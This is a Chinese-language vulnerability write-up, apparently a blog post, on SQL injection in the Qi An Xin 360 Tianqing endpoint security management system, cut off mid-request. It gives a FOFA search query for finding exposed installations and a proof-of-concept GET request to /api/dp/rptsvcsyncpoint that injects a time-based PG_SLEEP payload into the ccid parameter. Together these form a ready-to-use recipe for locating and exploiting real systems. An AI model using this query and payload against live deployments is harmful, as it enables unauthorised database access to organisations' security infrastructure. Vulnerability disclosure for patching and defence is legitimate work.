奇安信360天擎rptsvcsyncpoint和getsimilarlistSQL SQL注入漏洞（含批量验证poc）

产品简介

奇安信360天擎是奇安信集团旗下一款致力于一体化终端安全解决方案的终端安全管理系统（简称“天擎”）产品。通过“体系化防御、数字化运营”方法，帮助政企客户准确识别、保护和监管终端，并确保这些终端在任何时候都能可信、安全、合规地访问数据和业务。天擎基于奇安信全新的“川陀”终端安全平台构建，集成高性能病毒查杀、漏洞防护、主动防御引擎，深度融合威胁情报、大数据分析和安全可视化等创新技术，通过系统合规与加固、威胁防御与检测、运维管控与审计、终端数据防泄漏、统一管理与运营等功能，帮助政企客户构建持续有效的终端安全能力

rptsvcsyncpoint漏洞概述

天擎 rptsvcsyncpoint 存在SQL注入漏洞。

指纹识别

fofa-query: banner=”QiAnXin web server” || banner=”360 web server” || body=”appid":"skylar6” || body=”/task/index/detail?id={item.id}” || body=”已过期或者未授权，购买请联系4008-136-360

rptsvcsyncpoint漏洞复现

POC

GET /api/dp/rptsvcsyncpoint?ccid=1%27;SELECT%20PG_SLEEP(1)-- HTTP/1.1
Host: 
Upgrade-Insecure-Requests: 1
U